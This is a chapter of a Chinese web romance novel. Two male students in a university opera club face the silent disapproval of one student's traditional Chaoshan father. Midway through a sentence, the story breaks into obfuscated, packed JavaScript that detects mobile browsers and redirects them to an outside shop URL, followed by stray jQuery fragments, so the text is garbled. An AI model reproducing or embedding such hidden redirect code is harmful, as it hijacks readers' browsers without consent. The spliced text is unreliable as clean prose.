秋天来得猝不及防，一场夜雨过后，校园里的银杏叶边儿都开始黄了，跟有人拿金粉细细描过一样。


    戏曲社团的决赛演出定在周五晚上，李霄川提前一周就拽着陈声和加练，排练室的灯永远都是最后才灭。


    “手腕别绷那么紧，”李霄川站在陈声和身后，掌心贴着他的腕骨往上托了托，皮肤相触的地方微微发烫，“变脸不是靠蛮力，要用手腕的巧劲。”


    陈声和的手指修长白皙，却总卡在翻脸谱的关键一刻。


    试到几次后，他懊恼地垂下头，后颈露出一截白皙的皮肤，李霄川的目光在那停留，喉结滚了滚。


    “算了，我可能真没这个天赋。”陈声和转身时没收住步子，差点撞进李霄川怀里。


    两人离得太近了，近得陈声和都能闻见李霄川身上那淡淡的松木香，是他练完功常擦的药油味儿。


    李霄川没往后退，反倒伸手把他额前的碎发轻轻拨了拨：“没事儿，以后我变给你看，一辈子都行。”


    陈声和耳根一下就红了，刚想张嘴说点什么，排练室的门“咔”一声被推开了。


    “啧啧，我是不是又来的不是时候？”杨知夏斜靠在门框上，手里拎着两杯奶茶，吸管口还挂着水珠。


    作为社团里少数知道他俩关系的，她笑得那叫一个“我懂”。


    李霄川倒是淡定，往后稍了半步，接过奶茶，“啪”一声利落地插好吸管，先递到陈声和手里：“练俩小时了，喝点润润。”


    冰奶茶杯壁上瞬间凝出一层水雾，沾湿了陈声和的手指。


    杨知夏一屁股坐在地板上，眼神在他俩之间扫来扫去：“你俩这样，真当别人看不出来啊？”


    “看出来能怎么着？”李霄川仰头灌了一大口，冰得他眯起眼，喉结滚了滚。他随手抹了把嘴角，语气轻松。


    陈声和捏着奶茶杯的手指微微发白。让他想起上周父亲被气得住院，躺在那儿说话也是这么平静。


    “回家之前，你最好想清楚自己在干什么。”


    “只……是同学。”他当时盯着病房地板上那道裂缝，声音低得几乎听不见，没敢看他爸通红的眼睛。


    “发什么呆呢？”李霄川用膝盖碰了碰他的小腿，冰凉的触感透过牛仔裤传过来。


    陈声和回过神，摇了摇头。


    李霄川没说话，目光静静落在他脸上，然后伸手揉了揉他头发，本来就不太整齐的发型彻底乱了。


    “周五演出，”他指指墙角的三脚架，“记得来，把我拍帅点儿。”


    “嗯。”


    陈声和低头咬住吸管，甜腻的奶茶忽然尝出一点儿苦味。


    窗外最后一片银杏叶打着转落在窗台上，像一句没说完就画上的句号。


    回宿舍的路上，陈声和一直很沉默。


    李霄川指腹擦过他发梢的触感还在，可父亲通红的眼睛和那句“只是同学”也同时在脑海里轮番上演。


    这种冰火两重天的撕扯，让他胸口发闷。


    宿舍的灯有点暗，陈声和坐在书桌前，低头一遍遍擦着相机镜头。


    其实镜头早就纤尘不染了，但他还是用麂皮布用力摩挲着镜片边缘，仿佛所有的纠结和不安，都能通过这个动作磨平。


    张远斜靠在对面床沿打游戏，一局终了，他才把手机扔到一边，顺手从烟盒里摸出一支玉溪烟，也没点，就在指间转着。


    他的目光落在陈声和那因为用力而微微发白的指节上。


    窗外飘来食堂的油烟味，还有晚秋潮湿的空气，黏糊糊地糊在皮肤上。


    “喂，”张远看了他一会儿，突然开口，声音压得比平时低，“你跟李霄川……你俩现在这算怎么回事，真想好了？”


    陈声和的动作没停：“我喜欢他。”


    张远“啧”了一声，烟在指间转了个圈：“喜欢能当饭吃？”他抬脚踢了踢地上的篮球，“我前女友还是青梅竹马呢，现在不也嫁人了？”


    陈声和的手顿了顿，镜头映出他微微抿紧的嘴唇。


    “而且你别忘了，你可是潮汕独子，”张远越说越起劲，烟尾在桌沿敲得响，像是要敲醒他，“祠堂、香火、拜老爷……”


    他掰着手指数：“就你们那儿那老规矩，够你喝一壶的。更别提以后真要带个男媳妇回去，那场面……”


    陈声和抬起头，窗外的路灯斜斜地照进来，在他眼睛里晃着一片明明灭灭的光。


    宿舍的铁架床跟着翻身的动作“吱呀”响了一声，像在催他快点开口。


    “我知道。”他说。


    张远明显愣了一下：“知道？”


    “知道以后不会好过。知道我爸肯定要掀桌子，知道我妈会哭倒在祠堂，也知道那些亲戚会在背后戳着我骂……”


    “更知道如果我现在怂了，往后几十年，我都会不停地想，要是当初再坚持一下呢？”


    张远张了张嘴，没说出话来，指间的烟被捏得扁了下去。楼下突然闹哄哄地过去几个男生，勾肩搭背地唱着完全不在调上的情歌。


    安静了好一阵，张远才长长地“唉”了一声：“……算了，说不过你。”


    陈声和没再接话，只是默默把相机收进防潮箱。


    远处礼堂飘来断断续续的唱戏声，是戏曲社在排《牡丹亭》。夜风把那些咿咿呀呀的调子送进来，在窗帘缝里钻进钻出。


    “情不知所起，一往而深……”


    那晚之后，陈声和心里一直七上八下的。


    妈妈的消息跟连环夺命call似的，微信里整整齐齐排了二十多个女孩的资料，每个上面都明晃晃标着“门当户对”。


    而爸爸呢，从成都回去之后就再没给他打过电话。


    这种故意的沉默，像块大石头压在他心口，比直接骂他一顿还让人憋得慌。


    ……


    走廊的声控灯又灭了。


    陈声和往墙角缩了缩，后背抵着冰凉的消防栓箱。


    母亲的声音从听筒里钻出来：“阿和，你阿爸从成都回来就关在祠堂里，三炷香烧完又续，你到底同他讲了什么？”


    他的指腹摩挲着手机边缘，那里有道细小的裂痕，是昨天李霄川非要看他手机里的课表，两人在公寓里打闹时撞到铁架床的栏杆。


    手机脱手飞出去的瞬间，李霄川一把捞住他的腰，另一只手去接手机，结果还是磕在了床沿。


    “碎碎平安啦。”那人揉着他发顶笑，带着薄茧的拇指蹭过他发旋，痒痒的，“周末带你去太古里换新的，顺便吃那家你说想试的粤菜，乖。”


    “就是……带他逛了校园。”话一出口就带了颤音，像个生锈的齿轮，怎么都卡不住，他喉结滚动，想把那涩意咽下去。


    “看了图书馆，还有戏曲社团的排练室。”


    电话那头传来瓷器轻碰的脆响。母亲在沏茶，单丛的蜜兰香气仿佛能隔着千里飘过来。


    这是她审问前的习惯动作，先用茶匙拨弄茶叶，再让茶盖与杯沿轻轻相碰，在那些细碎的间隙里编织着压迫感。


    “那他为什么专门问我，”茶盖咔地扣上，母亲的声音突然压低，“你们社团那个李同学，家里是不是开火锅店的？”


    陈声和的神经瞬间绷紧，父亲临走那天的画面，像被人硬生生按进他脑子里的一帧电影镜头，突然就卡在那儿，不动了。


    一个礼拜前，宿舍楼下。


    李霄川刚晨练完，一身黑色练功服汗湿得发亮，腰侧那块布料紧紧贴着他绷紧的肌肉。


    他正拿着冰镇豆浆往陈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005897|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声和脸上贴，塑料杯外凝的水珠顺着他手腕滑进袖口：“快喝，别待会儿又低血糖晕了。”


    陈声和笑着喝了几口，一抬眼就看见父亲站在几步外的榕树底下，手里拎着一袋潮汕朥饼。


    那是他从小吃到大的老字号，每次老爸出差回来，都会特意绕路去买。


    “阿和？”


    李霄川的手还搭在他后颈上。那儿有颗浅褐色的小痣，是这人前一晚在熄灯后的浴室里，用舌尖一点点描过的。


    现在，他那带着薄茧的拇指，还在那块皮肤上蹭着，直到陈声和感觉到老爸的目光落过来。


    不像扔过来一把刀，也不是审视，而是非常疲惫的平静。


    “阿爸……”陈声和本能后退几步，后腰却撞上楼下的自行车后座。生锈的铁链子哗啦一响，在沉默里异常清晰。


    陈伟杰还穿着出院时那件深灰色开衫，左手腕上留着留置针的胶布痕迹。


    他的目光从李霄川汗湿的练功服，移到儿子发红的耳尖，最后停在两人之间那不到半寸的距离上。


    “李同学。”陈伟杰突然开口，声音比在医院时哑了不少，像是从胸腔里硬挤出来的，“上次你送来的枇杷膏，多谢了。”


    李霄川的手指在陈声和后颈僵了一瞬，随即收手站直。他嘴角还噙着笑，但脊背线条已经绷紧，像舞台上突然被追光锁定的武生，明明紧张，却要演得从容。


    “叔叔今天去复查？”李霄川的手缓缓收回来，在练功服下摆蹭了蹭，其实根本没汗。


    陈声和却注意到他右手小指在轻微发抖。那是上周练双刀对打时拉伤肌腱留下的后遗症。


    阳光把陈伟杰眼下的青黑照得无所遁形。他拎着朥饼袋子的手微微发抖，红绸带在风里飘着。


    可父亲只是抬手按了按胸口，那里藏着刚拆线的手术疤痕，白色纱布透过衫领布料能清晰看见。


    “我带了朥饼。”陈伟杰把纸袋递向李霄川，塑封袋发出轻微的哗啦声，“甜的，你试试看。”


    陈声和伸手去接，老爸的手指在袋底多停留了一会儿。


    只有他这个角度能看见，老爸的拇指正死死按在包装封口的红印上。


    那是潮汕祭祖用的朱砂标记，每逢初一十五，妈妈都会用这种印泥给祖宗牌位前的供品打封。


    “今晚七点，我飞上海。”老爸松开手，转身时衬衫被风带起一角，“记得回家。”


    榕树的影子在地上晃。


    李霄川的练功服下摆被风吹起，蹭在陈声和手腕上，带着汗水的潮意。


    远处传来戏曲社团早课开嗓的声音，咿咿呀呀地飘在晨风里，那调子拐着弯往人耳朵里钻，像根细线勒得太阳穴发疼。


    两人谁都没动。


    直到陈伟杰的身影消失在拐角。


    “你爸他……”李霄川喉结滚了滚，“是不是知道了？”


    自行车棚的阴影里，塑料包装被陈声和捏得哗啦作响。


    他想起阿爸从前连祭祖用的红桃粿摆歪了都要重新排好，现在却连点心品相都顾不上了。


    他死死盯着包装上那个被捏变形的红印。


    在潮汕老家，用祭祖朱砂压过的吃食，向来是只给自家人分的。父亲在用最不动声色的方式，划下了一道线。


    “他知道了。”陈声和把朥饼袋子攥出深深浅浅的褶，“但他不会认。”


    李霄川一把抓住他手腕，拇指重重擦过那个朱砂印子，像是要把它从包装上抹掉似的：“那就等他认。多久都等。”


    车棚投下的阴影里，两个年轻人都没发觉，其实父亲根本没走远。


    拐角墙后，陈伟杰又一次抬手按住了心口。那道刚拆线的手术疤在湿气里隐隐作痛，像有根细针在里头轻轻扎着。